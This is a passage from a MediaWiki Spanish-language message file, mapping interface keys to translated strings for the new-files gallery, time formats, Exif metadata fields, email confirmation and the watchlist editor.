'file-no-thumb-animation-gif' => "'''Nota: Debido a limitaciones técnicas, las miniaturas de imágenes GIF de alta resolución como esta no están animadas.'''",
# Special:NewFiles
'newimages' => 'Galería de imágenes nuevas',
'imagelisttext' => "Debajo hay una lista de '''$1''' {{PLURAL:$1|imagen|imágenes}} ordenadas $2.",
'newimages-summary' => 'Esta página especial muestra una galería de los últimos archivos subidos.',
'newimages-legend' => 'Nombre del fichero',
'newimages-label' => 'Nombre del fichero (o una parte):',
'showhidebots' => '($1 bots)',
'noimages' => 'No hay nada que ver.',
'ilsubmit' => 'Buscar',
'bydate' => 'por fecha',
'sp-newimages-showfrom' => 'Mostrar nuevas imágenes empezando por $2, $1',
# Video information, used by Language::formatTimePeriod() to format lengths in the above messages
'seconds-abbrev' => '$1s',
'minutes-abbrev' => '$1m',
'hours-abbrev' => '$1h',
'days-abbrev' => '$1d',
'seconds' => '{{PLURAL:$1|un segundo|$1 segundos}}',
'minutes' => '{{PLURAL:$1|un minuto|$1 minutos}}',
'hours' => '{{PLURAL:$1|una hora|$1 horas}}',
'days' => '{{PLURAL:$1|un día|$1 días}}',
'weeks' => '{{PLURAL:$1|$1 semana|$1 semanas}}',
'months' => '{{PLURAL:$1|$1 mes|$1 meses}}',
'years' => '{{PLURAL:$1|$1 año|$1 años}}',
'ago' => 'hace $1',
'just-now' => 'Ahora mismo',
# Human-readable timestamps
'hours-ago' => 'hace $1 {{PLURAL:$1|hora|horas}}',
'minutes-ago' => 'hace {{PLURAL:$1|un minuto|$1 minutos}}',
'seconds-ago' => 'hace $1 {{PLURAL:$1|segundo|segundos}}',
'monday-at' => 'El lunes a las $1',
'tuesday-at' => 'El martes a las $1',
'wednesday-at' => 'El miércoles a las $1',
'thursday-at' => 'El jueves a las $1',
'friday-at' => 'El viernes a las $1',
'saturday-at' => 'El sábado a las $1',
'sunday-at' => 'El domingo a las $1',
'yesterday-at' => 'Ayer a las $1',
# Bad image list
'bad_image_list' => 'El formato es el siguiente:
Solo se reconocen elementos de lista (líneas que comienzan con «*»).
El primer enlace de cada línea debe ser un enlace al archivo que se quiere bloquear.
Todos los demás enlaces en la misma línea se tomarán como excepciones (es decir, páginas donde sí se puede usar el archivo).',
# Metadata
'metadata' => 'Metadatos',
'metadata-help' => 'Este archivo contiene información adicional (metadatos), probablemente añadida por la cámara digital, el escáner o el programa usado para crearlo o digitalizarlo. Si el archivo ha sido modificado desde su estado original, pueden haberse perdido algunos detalles.',
'metadata-expand' => 'Mostrar datos detallados',
'metadata-collapse' => 'Ocultar datos detallados',
'metadata-fields' => 'Los campos de metadatos que se listan en este mensaje se mostrarán en la página de descripción de la imagen aún cuando la tabla de metadatos esté plegada.
Existen otros campos que se mantendrán ocultos por defecto.
* make
* model
* datetimeoriginal
* exposuretime
* fnumber
* isospeedratings
* focallength
* artist
* copyright
* imagedescription
* gpslatitude
* gpslongitude
* gpsaltitude',
# Exif tags
'exif-imagewidth' => 'Anchura',
'exif-imagelength' => 'Altura',
'exif-bitspersample' => 'Bits por componente',
'exif-compression' => 'Esquema de compresión',
'exif-photometricinterpretation' => 'Composición de pixel',
'exif-orientation' => 'Orientación',
'exif-samplesperpixel' => 'Número de componentes',
'exif-planarconfiguration' => 'Distribución de datos',
'exif-ycbcrsubsampling' => 'Razón de submuestreo de Y a C',
'exif-ycbcrpositioning' => 'Posicionamientos Y y C',
'exif-xresolution' => 'Resolución horizontal',
'exif-yresolution' => 'Resolución vertical',
'exif-stripoffsets' => 'Localización de datos de imagen',
'exif-rowsperstrip' => 'Número de filas por banda',
'exif-stripbytecounts' => 'Bytes por banda comprimida',
'exif-jpeginterchangeformat' => 'Desplazamiento al JPEG SOI',
'exif-jpeginterchangeformatlength' => 'Bytes de datos JPEG',
'exif-whitepoint' => 'Cromacidad de punto blanco',
'exif-primarychromaticities' => 'Cromacidades primarias',
'exif-ycbcrcoefficients' => 'Coeficientes de la matriz de transformación de espacio de color',
'exif-referenceblackwhite' => 'Pareja de valores blanco y negro de referencia',
'exif-datetime' => 'Fecha y hora de modificación del archivo',
'exif-imagedescription' => 'Título de la imagen',
'exif-make' => 'Fabricante de la cámara',
'exif-model' => 'Modelo de cámara',
'exif-software' => 'Software usado',
'exif-artist' => 'Autor',
'exif-copyright' => 'Titular de los derechos de autor',
'exif-exifversion' => 'Versión Exif',
'exif-flashpixversion' => 'Versión admitida de Flashpix',
'exif-colorspace' => 'Espacio de color',
'exif-componentsconfiguration' => 'Significado de cada componente',
'exif-compressedbitsperpixel' => 'Modo de compresión de la imagen',
'exif-pixelydimension' => 'Ancho de la imagen',
'exif-pixelxdimension' => 'Altura de la imagen',
'exif-usercomment' => 'Comentarios de usuario',
'exif-relatedsoundfile' => 'Archivo de audio relacionado',
'exif-datetimeoriginal' => 'Fecha y hora de la generación de los datos',
'exif-datetimedigitized' => 'Fecha y hora de la digitalización',
'exif-subsectime' => 'Fecha y hora (precisión por debajo del segundo)',
'exif-subsectimeoriginal' => 'Fecha y hora de la generación de los datos (precisión por debajo del segundo)',
'exif-subsectimedigitized' => 'Fecha y hora de la digitalización (precisión por debajo del segundo)',
'exif-exposuretime' => 'Tiempo de exposición',
'exif-exposuretime-format' => '$1 seg ($2)',
'exif-fnumber' => 'Número F',
'exif-exposureprogram' => 'Programa de exposición',
'exif-spectralsensitivity' => 'Sensibilidad espectral',
'exif-isospeedratings' => 'Calificación de velocidad ISO',
'exif-shutterspeedvalue' => 'Velocidad de obturación APEX',
'exif-aperturevalue' => 'Apertura APEX',
'exif-brightnessvalue' => 'Brillo APEX',
'exif-exposurebiasvalue' => 'Sesgo de exposición',
'exif-maxaperturevalue' => 'Valor máximo de apertura',
'exif-subjectdistance' => 'Distancia al sujeto',
'exif-meteringmode' => 'Modo de medición',
'exif-lightsource' => 'Fuente de luz',
'exif-flash' => 'Flash',
'exif-focallength' => 'Longitud focal de la lente',
'exif-subjectarea' => 'Área del sujeto',
'exif-flashenergy' => 'Energía del flash',
'exif-focalplanexresolution' => 'Resolución X del plano focal',
'exif-focalplaneyresolution' => 'Resolución Y del plano focal',
'exif-focalplaneresolutionunit' => 'Unidad de resolución del plano focal',
'exif-subjectlocation' => 'Localización del sujeto',
'exif-exposureindex' => 'Índice de exposición',
'exif-sensingmethod' => 'Método de sensor',
'exif-filesource' => 'Fuente de archivo',
'exif-scenetype' => 'Tipo de escena',
'exif-customrendered' => 'Procesador personalizado de imagen',
'exif-exposuremode' => 'Modo de exposición',
'exif-whitebalance' => 'Balance de blanco',
'exif-digitalzoomratio' => 'Razón de zoom digital',
'exif-focallengthin35mmfilm' => 'Longitud focal en película de 35 mm',
'exif-scenecapturetype' => 'Tipo de captura de escena',
'exif-gaincontrol' => 'Control de escena',
'exif-contrast' => 'Contraste',
'exif-saturation' => 'Saturación',
'exif-sharpness' => 'Agudeza',
'exif-devicesettingdescription' => 'Descripción de los ajustes del dispositivo',
'exif-subjectdistancerange' => 'Rango de distancia al sujeto',
'exif-imageuniqueid' => 'ID único de imagen',
'exif-gpsversionid' => 'Versión de la etiqueta GPS',
'exif-gpslatituderef' => 'Latitud norte o sur',
'exif-gpslatitude' => 'Latitud',
'exif-gpslongituderef' => 'Longitud este u oeste',
'exif-gpslongitude' => 'Longitud',
'exif-gpsaltituderef' => 'Refencia de altitud',
'exif-gpsaltitude' => 'Altitud',
'exif-gpstimestamp' => 'Tiempo GPS (reloj atómico)',
'exif-gpssatellites' => 'Satélites usados para la medición',
'exif-gpsstatus' => 'Estado del receptor',
'exif-gpsmeasuremode' => 'Modo de medición',
'exif-gpsdop' => 'Precisión de medición',
'exif-gpsspeedref' => 'Unidad de velocidad',
'exif-gpsspeed' => 'Velocidad del receptor GPS',
'exif-gpstrackref' => 'Referencia para la dirección del movimiento',
'exif-gpstrack' => 'Dirección del movimiento',
'exif-gpsimgdirectionref' => 'Referencia de la dirección de imágen',
'exif-gpsimgdirection' => 'Dirección de imagen',
'exif-gpsmapdatum' => 'Utilizados datos de medición geodésica',
'exif-gpsdestlatituderef' => 'Referencia para la latitud del destino',
'exif-gpsdestlatitude' => 'Destino de latitud',
'exif-gpsdestlongituderef' => 'Referencia para la longitud del destino',
'exif-gpsdestlongitude' => 'Longitud del destino',
'exif-gpsdestbearingref' => 'Referencia para la orientación al destino',
'exif-gpsdestbearing' => 'Orientación del destino',
'exif-gpsdestdistanceref' => 'Referencia para la distancia al destino',
'exif-gpsdestdistance' => 'Distancia al destino',
'exif-gpsprocessingmethod' => 'Nombre del método de procesado GPS',
'exif-gpsareainformation' => 'Nombre de la área GPS',
'exif-gpsdatestamp' => 'Fecha GPS',
'exif-gpsdifferential' => 'Corrección diferencial de GPS',
'exif-jpegfilecomment' => 'Comentario de archivo JPEG',
'exif-keywords' => 'Palabras clave',
'exif-worldregioncreated' => 'Región del mundo en la que se tomó la imagen',
'exif-countrycreated' => 'País en el que se tomó la imagen',
'exif-countrycodecreated' => 'Código para el país en el que la imagen fue tomada',
'exif-provinceorstatecreated' => 'Provincia o estado en el que la imagen fue tomada',
'exif-citycreated' => 'Ciudad en la que se tomó la imagen',
'exif-sublocationcreated' => 'Región de la ciudad en la que la foto fue tomada',
'exif-worldregiondest' => 'Región del mundo mostrada',
'exif-countrydest' => 'País mostrado',
'exif-countrycodedest' => 'Código de país mostrado',
'exif-provinceorstatedest' => 'Provincia o estado mostrado',
'exif-citydest' => 'Ciudad mostrada',
'exif-sublocationdest' => 'Región de la ciudad mostrada',
'exif-objectname' => 'Título breve',
'exif-specialinstructions' => 'Instrucciones especiales',
'exif-headline' => 'Encabezado',
'exif-credit' => 'Crédito/proveedor',
'exif-source' => 'Fuente',
'exif-editstatus' => 'Estado editorial de la imagen',
'exif-urgency' => 'Urgencia',
'exif-fixtureidentifier' => 'Nome del elemento habitual',
'exif-locationdest' => 'Ubicación mostrada',
'exif-locationdestcode' => 'Código de la ubicación mostrada',
'exif-objectcycle' => 'Hora del día para la cual está destinado este archivo',
'exif-contact' => 'Información de contacto',
'exif-writer' => 'Escritor',
'exif-languagecode' => 'Idioma',
'exif-iimversion' => 'Versión IIM',
'exif-iimcategory' => 'Categoría',
'exif-iimsupplementalcategory' => 'Categorías suplementarias',
'exif-datetimeexpires' => 'No usar después de',
'exif-datetimereleased' => 'Lanzado el',
'exif-originaltransmissionref' => 'Código de ubicación de transmisión original',
'exif-identifier' => 'Identificador',
'exif-lens' => 'Lente utilizada',
'exif-serialnumber' => 'Número de serie de la cámara',
'exif-cameraownername' => 'Propietario de la cámara',
'exif-label' => 'Etiqueta',
'exif-datetimemetadata' => 'Fecha en la cual fueron modificados por última vez los metadatos',
'exif-nickname' => 'Nombre informal de la imagen',
'exif-rating' => 'Valoración (sobre 5)',
'exif-rightscertificate' => 'Certificado de gestión de derechos',
'exif-copyrighted' => 'Estado de copyright',
'exif-copyrightowner' => 'Titular del copyright',
'exif-usageterms' => 'Términos de uso',
'exif-webstatement' => 'Declaración de derechos de autor en línea',
'exif-originaldocumentid' => 'Id. único del documento original',
'exif-licenseurl' => 'URL para la licencia de copyright',
'exif-morepermissionsurl' => 'Información de licencia alternativa',
'exif-attributionurl' => 'Cuando reutilices este trabajo, por favor enlaza a',
'exif-preferredattributionname' => 'Al volver a utilizar este trabajo, por favor da crédito',
'exif-pngfilecomment' => 'Comentario de archivo PNG',
'exif-disclaimer' => 'Aviso legal',
'exif-contentwarning' => 'Advertencia de contenido',
'exif-giffilecomment' => 'Comentario de archivo GIF',
'exif-intellectualgenre' => 'Tipo de elemento',
'exif-subjectnewscode' => 'Código de asunto',
'exif-scenecode' => 'Código de escena IPTC',
'exif-event' => 'Evento representado',
'exif-organisationinimage' => 'Organización representada',
'exif-personinimage' => 'Persona representada',
'exif-originalimageheight' => 'Altura de la imagen antes de que fuera recortada',
'exif-originalimagewidth' => 'Ancho de la imagen antes de que fuera recortada',
# Exif attributes
'exif-compression-1' => 'Sin comprimir',
'exif-compression-2' => 'CCITT Group 3 1-Dimensional Modified Huffman run length encoding',
'exif-compression-3' => 'Codificación de fax CCITT grupo 3',
'exif-compression-4' => 'Codificación de fax CCITT grupo 4',
'exif-copyrighted-true' => 'Con derechos de autor',
'exif-copyrighted-false' => 'No se ha definido el estado del copyright',
'exif-unknowndate' => 'Fecha desconocida',
'exif-orientation-1' => 'Normal',
'exif-orientation-2' => 'Volteada horizontalmente',
'exif-orientation-3' => 'Rotada 180°',
'exif-orientation-4' => 'Volteada verticalmente',
'exif-orientation-5' => 'Rotada 90° CCW y volteada verticalmente',
'exif-orientation-6' => 'Rotada 90° a la izquierda',
'exif-orientation-7' => 'Rotada 90° CW y volteada verticalmente',
'exif-orientation-8' => 'Rotada 90° a la derecha',
'exif-planarconfiguration-1' => 'formato panorámico',
'exif-planarconfiguration-2' => 'formato plano',
'exif-colorspace-65535' => 'Sin calibrar',
'exif-componentsconfiguration-0' => 'no existe',
'exif-exposureprogram-0' => 'No definido',
'exif-exposureprogram-1' => 'Manual',
'exif-exposureprogram-2' => 'Programa normal',
'exif-exposureprogram-3' => 'Prioridad de apertura',
'exif-exposureprogram-4' => 'Prioridad de obturador',
'exif-exposureprogram-5' => 'Programa creativo (con prioridad a la profundidad de campo)',
'exif-exposureprogram-6' => 'Programa de acción (alta velocidad de obturador)',
'exif-exposureprogram-7' => 'Modo retrato (para primeros planos con el fondo desenfocado)',
'exif-exposureprogram-8' => 'Modo panorama (para fotos panorámicas con el fondo enfocado)',
'exif-subjectdistance-value' => '$1 metros',
'exif-meteringmode-0' => 'Desconocido',
'exif-meteringmode-1' => 'Media',
'exif-meteringmode-2' => 'Promedio centrado',
'exif-meteringmode-3' => 'Puntual',
'exif-meteringmode-4' => 'Multipunto',
'exif-meteringmode-5' => 'Patrón',
'exif-meteringmode-6' => 'Parcial',
'exif-meteringmode-255' => 'Otro',
'exif-lightsource-0' => 'Desconocido',
'exif-lightsource-1' => 'Luz diurna',
'exif-lightsource-2' => 'Fluorescente',
'exif-lightsource-3' => 'Tungsteno (luz incandescente)',
'exif-lightsource-4' => 'Flash',
'exif-lightsource-9' => 'Buen tiempo',
'exif-lightsource-10' => 'Tiempo nublado',
'exif-lightsource-11' => 'Penumbra',
'exif-lightsource-12' => 'Fluorescente de luz diurna (D 5700 – 7100K)',
'exif-lightsource-13' => 'Fluorescente de día soleado (N 4600 – 5400K)',
'exif-lightsource-14' => 'Fluorescente blanco frío (W 3900 – 4500K)',
'exif-lightsource-15' => 'Fluroescente blanco (WW 3200 – 3700K)',
'exif-lightsource-17' => 'Luz estándar A',
'exif-lightsource-18' => 'Luz estándar B',
'exif-lightsource-19' => 'Luz estándar C',
'exif-lightsource-24' => 'Tungsteno de estudio ISO',
'exif-lightsource-255' => 'Otra fuente de luz',
# Flash modes
'exif-flash-fired-0' => 'No se disparó el flash',
'exif-flash-fired-1' => 'Flash disparado',
'exif-flash-return-0' => 'no hay función de detección del retorno de la luz estroboscópica',
'exif-flash-return-2' => 'no se detectó retorno de luz estroboscópica',
'exif-flash-return-3' => 'detectado retorno de luz estroboscópica',
'exif-flash-mode-1' => 'disparo de flash forzado',
'exif-flash-mode-2' => 'disparo de flash anulado',
'exif-flash-mode-3' => 'modo automático',
'exif-flash-function-1' => 'Modo sin flash',
'exif-flash-redeye-1' => 'modo de reducción de ojos rojos',
'exif-focalplaneresolutionunit-2' => 'pulgadas',
'exif-sensingmethod-1' => 'No definido',
'exif-sensingmethod-2' => 'Sensor de área de color de un chip',
'exif-sensingmethod-3' => 'Sensor de área de color de dos chips',
'exif-sensingmethod-4' => 'Sensor de área de color de tres chips',
'exif-sensingmethod-5' => 'Sensor de área secuencial de color',
'exif-sensingmethod-7' => 'Sensor trilineal',
'exif-sensingmethod-8' => 'Sensor lineal secuencial de color',
'exif-filesource-3' => 'Cámara digital',
'exif-scenetype-1' => 'Una imagen directamente fotografiada',
'exif-customrendered-0' => 'Proceso normal',
'exif-customrendered-1' => 'Proceso personalizado',
'exif-exposuremode-0' => 'Exposición automática',
'exif-exposuremode-1' => 'Exposición manual',
'exif-exposuremode-2' => 'Auto bracket',
'exif-whitebalance-0' => 'Balance de blanco automático',
'exif-whitebalance-1' => 'Balance de blanco manual',
'exif-scenecapturetype-0' => 'Estándar',
'exif-scenecapturetype-1' => 'Paisaje',
'exif-scenecapturetype-2' => 'Retrato',
'exif-scenecapturetype-3' => 'Escena nocturna',
'exif-gaincontrol-0' => 'Ninguna',
'exif-gaincontrol-1' => 'Bajo aumento de ganancia',
'exif-gaincontrol-2' => 'Alto aumento de ganancia',
'exif-gaincontrol-3' => 'Baja disminución de ganancia',
'exif-gaincontrol-4' => 'Alta disminución de ganancia',
'exif-contrast-0' => 'Normal',
'exif-contrast-1' => 'Suave',
'exif-contrast-2' => 'Duro',
'exif-saturation-0' => 'Normal',
'exif-saturation-1' => 'Baja saturación',
'exif-saturation-2' => 'Alta saturación',
'exif-sharpness-0' => 'Normal',
'exif-sharpness-1' => 'Suave',
'exif-sharpness-2' => 'Dura',
'exif-subjectdistancerange-0' => 'Desconocida',
'exif-subjectdistancerange-1' => 'Macro',
'exif-subjectdistancerange-2' => 'Vista cercana',
'exif-subjectdistancerange-3' => 'Vista lejana',
# Pseudotags used for GPSLatitudeRef and GPSDestLatitudeRef
'exif-gpslatitude-n' => 'Latitud norte',
'exif-gpslatitude-s' => 'Latitud sur',
# Pseudotags used for GPSLongitudeRef and GPSDestLongitudeRef
'exif-gpslongitude-e' => 'Longitud este',
'exif-gpslongitude-w' => 'Longitud oeste',
# Pseudotags used for GPSAltitudeRef
'exif-gpsaltitude-above-sealevel' => '$1 {{PLURAL:$1|metro|metros}} sobre el nivel del mar',
'exif-gpsaltitude-below-sealevel' => '$1 {{PLURAL:$1|metro|metros}} bajo el nivel del mar',
'exif-gpsstatus-a' => 'Medida en progreso',
'exif-gpsstatus-v' => 'Interoperabilidad de medida',
'exif-gpsmeasuremode-2' => 'Medición bidimensional',
'exif-gpsmeasuremode-3' => 'Medición tridimensional',
# Pseudotags used for GPSSpeedRef
'exif-gpsspeed-k' => 'Kilómetros por hora',
'exif-gpsspeed-m' => 'Millas por hora',
'exif-gpsspeed-n' => 'Nudos',
# Pseudotags used for GPSDestDistanceRef
'exif-gpsdestdistance-k' => 'Kilómetros',
'exif-gpsdestdistance-m' => 'Millas',
'exif-gpsdestdistance-n' => 'Millas náuticas',
'exif-gpsdop-excellent' => 'Excelente ($1)',
'exif-gpsdop-good' => 'Bueno ( $1 )',
'exif-gpsdop-moderate' => 'Moderado ($1)',
'exif-gpsdop-fair' => 'Pasable ($1)',
'exif-gpsdop-poor' => 'Pobre ( $1 )',
'exif-objectcycle-a' => 'Sólo por la mañana',
'exif-objectcycle-p' => 'Sólo por el atardecer',
'exif-objectcycle-b' => 'Tanto por la mañana y por la tarde',
# Pseudotags used for GPSTrackRef, GPSImgDirectionRef and GPSDestBearingRef
'exif-gpsdirection-t' => 'Dirección real',
'exif-gpsdirection-m' => 'Dirección magnética',
'exif-ycbcrpositioning-1' => 'Centrado',
'exif-ycbcrpositioning-2' => 'Co-localizados',
'exif-dc-contributor' => 'Colaboradores',
'exif-dc-coverage' => 'Ámbito espacial o temporal del medio',
'exif-dc-date' => 'Fecha(s)',
'exif-dc-publisher' => 'Editorial',
'exif-dc-relation' => 'Medios relacionados',
'exif-dc-rights' => 'Derechos',
'exif-dc-source' => 'Medios de origen',
'exif-dc-type' => 'Tipo de medio',
'exif-rating-rejected' => 'Rechazado',
'exif-isospeedratings-overflow' => 'Más de 65535',
'exif-iimcategory-ace' => 'Arte, cultura y entretenimiento',
'exif-iimcategory-clj' => 'Crimen y ley',
'exif-iimcategory-dis' => 'Desastres y accidentes',
'exif-iimcategory-fin' => 'Economía y negocios',
'exif-iimcategory-edu' => 'Educación',
'exif-iimcategory-evn' => 'Medio ambiente',
'exif-iimcategory-hth' => 'Salud',
'exif-iimcategory-hum' => 'Interés humano',
'exif-iimcategory-lab' => 'Trabajo',
'exif-iimcategory-lif' => 'Estilo de vida y ocio',
'exif-iimcategory-pol' => 'Política',
'exif-iimcategory-rel' => 'Religión y creencias',
'exif-iimcategory-sci' => 'Ciencia y tecnología',
'exif-iimcategory-soi' => 'Cuestiones sociales',
'exif-iimcategory-spo' => 'Deportes',
'exif-iimcategory-war' => 'Guerra, conflictos y disturbios',
'exif-iimcategory-wea' => 'Clima',
'exif-urgency-normal' => 'Normal ($1)',
'exif-urgency-low' => 'Bajo ($1)',
'exif-urgency-high' => 'Alto ($1)',
'exif-urgency-other' => 'Prioridad definida por el usuario ($1)',
# 'all' in various places, this might be different for inflected languages
'watchlistall2' => 'todos',
'namespacesall' => 'todos',
'monthsall' => 'todos',
# Email address confirmation
'confirmemail' => 'Confirmar dirección de correo electrónico',
'confirmemail_noemail' => 'No tienes una dirección de correo electrónico válida en tus [[Special:Preferences|preferencias de usuario]].',
'confirmemail_text' => '{{SITENAME}} requiere la validación de tu dirección de correo antes de usarlo. Pulsa el botón de abajo para enviar la confirmación.
El correo incluirá un enlace con un código. Introdúcelo para confirmar la validez de tu dirección.',
'confirmemail_pending' => 'Ya se te ha enviado un código de confirmación; si creaste una cuenta recientemente, puede que tengas que esperar unos minutos para que te llegue antes de intentar pedir un nuevo código.',
'confirmemail_send' => 'Envíar el código de confimación.',
'confirmemail_sent' => 'Confirmación de correo enviada.',
'confirmemail_oncreate' => 'Se ha enviado un código de confirmación a tu dirección de correo electrónico.
Este código no es necesario para iniciar sesión, pero necesitarás proporcionarlo antes de activar cualquier función basada en correo electrónico en el wiki.',
'confirmemail_sendfailed' => 'No fue posible enviar el correo de confirmación. Por favor, comprueba la validez de la dirección de correo.
El servidor indicó el error: $1',
'confirmemail_invalid' => 'Código de confirmación incorrecto. El código debe haber expirado.',
'confirmemail_needlogin' => 'Necesitas $1 para confirmar tu dirección electrónica.',
'confirmemail_success' => 'Su dirección de correo ha sido confirmada
Ahora puedes [[Special:UserLogin|identificarte]] y colaborar en el wiki.',
'confirmemail_loggedin' => 'Tu dirección de correo electrónico ha sido confirmada.',
'confirmemail_subject' => 'confirmación de la dirección de correo de {{SITENAME}}',
'confirmemail_body' => 'Alguien, probablemente usted mismo, ha registrado desde la dirección IP $1 la cuenta "$2" en {{SITENAME}}, utilizando esta dirección de correo.
Para confirmar que esta cuenta realmente le pertenece y activar el correo en {{SITENAME}}, siga este enlace:
$3
Si la cuenta *no* es suya, siga este otro enlace para cancelar la confirmación de la dirección de correo:
$5
El código de confirmación expirará en $4.',
'confirmemail_body_changed' => 'Alguien, probablemente tú,
ha modificado la dirección de correo electrónico asociado a la cuenta "$2" hacia esta en {{SITENAME}}, desde la dirección IP $1.
Para confirmar que esta cuenta realmente te pertenece y reactivar las funciones de correo electrónico en {{SITENAME}}, abre este enlace en su navegador:
$3
Si la cuenta *no* te pertenece, sigue el siguiente enlace para cancelar la confirmación:
$5
Este código de confirmación expirará el $4.',
'confirmemail_body_set' => 'Alguien, probablemente tu desde la dirección IP $1,
ha cambiado la dirección de correo electrónico de la cuenta $2 a esta dirección en {{SITENAME}}.
Para confirmar que esta cuenta realmente te pertenece y activar las capacidades del correo electrónico en {{SITENAME}}, abre este enlace en tu navegador:
$3
Si la cuenta *no* te pertenece sigue entonces este otro enlace para cancelar la confirmación del correo electrónico:
$5
Este código de confirmación caducará el $4.',
'confirmemail_invalidated' => 'La confirmación de la dirección de correo electrónico ha sido cancelada',
'invalidateemail' => 'Cancelar confirmación de correo electrónico',
# Scary transclusion
'scarytranscludedisabled' => '[Transclusión interwiki está deshabilitada]',
'scarytranscludefailed' => '[Obtención de plantilla falló para $1]',
'scarytranscludefailed-httpstatus' => '[Error de recuperación de plantilla para $1: HTTP $2]',
'scarytranscludetoolong' => '[El URL es demasiado largo]',
# Delete conflict
'deletedwhileediting' => "'''Aviso''': ¡Esta página fue borrada después de que usted empezara a editar!",
'confirmrecreate' => "El usuario [[User:$1|$1]] ([[User talk:$1|disc.]]) borró esta página después de que comenzaste a editarla, por el motivo:
: ''$2''
Confirma que realmente quieres volver a crear esta página.",
'confirmrecreate-noreason' => 'El usuario [[User:$1|$1]] ([[User talk:$1|discusión]]) borró esta página después de que comenzaras a editarla. Por favor confirma que realmente quieres recrear esta página.',
'recreate' => 'Crear de nuevo',
# action=purge
'confirm_purge_button' => 'Aceptar',
'confirm-purge-top' => '¿Limpiar la caché de esta página?',
'confirm-purge-bottom' => 'Purgar una página limpia la caché y fuerza a que aparezca la versión más actual.',
# action=watch/unwatch
'confirm-watch-button' => 'Aceptar',
'confirm-watch-top' => '¿Añadir esta página a tu lista de seguimiento?',
'confirm-unwatch-button' => 'Aceptar',
'confirm-unwatch-top' => '¿Quitar esta página de tu lista de seguimiento?',
# Separators for various lists, etc.
'comma-separator' => ', ',
'quotation-marks' => '«$1»',
# Multipage image navigation
'imgmultipageprev' => '← página anterior',
'imgmultipagenext' => 'siguiente página →',
'imgmultigo' => '¡Ir!',
'imgmultigoto' => 'Ir a la página $1',
# Language selector for translatable SVGs
'img-lang-default' => '(idioma predeterminado)',
'img-lang-info' => 'Renderizar esta imagen en $1. $2',
'img-lang-go' => 'Adelante',
# Table pager
'ascending_abbrev' => 'asc',
'descending_abbrev' => 'desc',
'table_pager_next' => 'Página siguiente',
'table_pager_prev' => 'Página anterior',
'table_pager_first' => 'Primera página',
'table_pager_last' => 'Última página',
'table_pager_limit' => 'Mostrar $1 elementos por página',
'table_pager_limit_label' => 'Elementos por página:',
'table_pager_limit_submit' => 'Ir',
'table_pager_empty' => 'No hay resultados',
# Auto-summaries
'autosumm-blank' => 'Página blanqueada',
'autosumm-replace' => 'Página reemplazada por «$1»',
'autoredircomment' => 'Página redirigida a [[$1]]',
'autosumm-new' => 'Página creada con «$1»',
# Live preview
'livepreview-loading' => 'Cargando…',
'livepreview-ready' => 'Cargando… ¡Listo!',
'livepreview-failed' => '¡La previsualización al vuelo falló!
Prueba la previsualización normal.',
'livepreview-error' => 'No se pudo conectar: $1 «$2».
Intenta usar la previsualización normal.',
# Friendlier slave lag warnings
'lag-warn-normal' => 'Los cambios realizados en {{PLURAL:$1|el último segundo|los últimos $1 segundos}} podrían no mostrarse en esta lista.',
'lag-warn-high' => 'Debido a una alta latencia el servidor de base de datos, los cambios realizados en {{PLURAL:$1|el último segundo|los últimos $1 segundos}} podrían no mostrarse en esta lista.',
# Watchlist editor
'watchlistedit-numitems' => 'Tu lista de seguimiento tiene {{PLURAL:$1|una página |$1 páginas}}, excluyendo las páginas de discusión.',
'watchlistedit-noitems' => 'Tu lista de seguimiento está vacía.',
'watchlistedit-normal-title' => 'Editar lista de seguimiento',
'watchlistedit-normal-legend' => 'Borrar títulos de la lista de seguimiento',
'watchlistedit-normal-explain' => 'A continuación se listan las páginas en tu lista de seguimiento.
Para quitar un título, marca la casilla junto a él, y pulsa «{{int:Watchlistedit-normal-submit}}».
También puedes [[Special:EditWatchlist/raw|editar la lista en crudo]].',
'watchlistedit-normal-submit' => 'Borrar páginas',
'watchlistedit-normal-done' => '{{PLURAL:$1|1 página ha sido borrada|$1 páginas han sido borradas}} de tu lista de seguimiento:',
'watchlistedit-raw-title' => 'Editar lista de seguimiento en crudo',
'watchlistedit-raw-legend' => 'Editar tu lista de seguimiento en modo texto',
'watchlistedit-raw-explain' => 'A continuación se listan las páginas en tu lista de seguimiento. Esta lista puede editarse añadiendo o eliminando líneas de la lista;
un título por línea.
Cuando acabes, pulsa «{{int:Watchlistedit-raw-submit}}».
También puedes [[Special:EditWatchlist|usar el editor estándar]].',
'watchlistedit-raw-titles' => 'Páginas:',
'watchlistedit-raw-submit' => 'Actualizar lista de seguimiento',
'watchlistedit-raw-done' => 'Tu lista de seguimiento se ha actualizado.',
'watchlistedit-raw-added' => '{{PLURAL:$1|Se ha añadido una página|Se han añadido $1 páginas}}:',
'watchlistedit-raw-removed' => '{{PLURAL:$1|Una página ha sido borrada|$1 páginas han sido borradas}}:',
# Watchlist editing tools
'watchlisttools-view' => 'Ver cambios',
'watchlisttools-edit' => 'Ver y editar tu lista de seguimiento',
'watchlisttools-raw' => 'Editar lista de seguimiento en crudo',
# Signatures
'signature' => '[[{{ns:user}}:$1|$2]] ([[{{ns:user_talk}}:$1|discusión]])',
# Core parser functions
'unknown_extension_tag' => 'Etiqueta desconocida «$1»',
'duplicate-defaultsort' => "'''Atención:''' La clave de ordenamiento predeterminada «$2» anula la clave de ordenamiento anterior «$1».",
# Special:Version
'version' => 'Versión',
'version-extensions' => 'Extensiones instaladas',
'version-specialpages' => 'Páginas especiales',
'version-parserhooks' => 'Extensiones del analizador sintáctico',
'version-variables' => 'Variables',
'version-antispam' => 'Prevención de spam',
'version-skins' => 'Apariencias',
'version-other' => 'Otro',
'version-mediahandlers' => 'Manejadores multimedia',
'version-hooks' => 'Extensiones',
'version-parser-extensiontags' => 'Etiquetas de extensiones sintácticas',
'version-parser-function-hooks' => 'Extensiones de funciones sintácticas',
'version-hook-name' => 'Nombre de la extensión',
'version-hook-subscribedby' => 'Suscrito por',
'version-version' => '($1)',
'version-license' => 'Licencia de MediaWiki',
'version-ext-license' => 'Licencia',
'version-ext-colheader-name' => 'Extensión',
'version-ext-colheader-version' => 'Versión',
'version-ext-colheader-license' => 'Licencia',
'version-ext-colheader-description' => 'Descripción',
'version-ext-colheader-credits' => 'Autores',
'version-license-title' => 'Licencia para $1',
'version-license-not-found' => 'No se han encontrado información detallada de licencia para esta extensión.',
'version-credits-title' => 'Reconocimiento para $1',
'version-credits-not-found' => 'No se ha encontrado información detallada de reconocimiento para esta extensión.',
'version-poweredby-credits' => "Este wiki funciona gracias a '''[https://www.mediawiki.org/ MediaWiki]''', copyright © 2001-$1 $2.",
'version-poweredby-others' => 'otros',
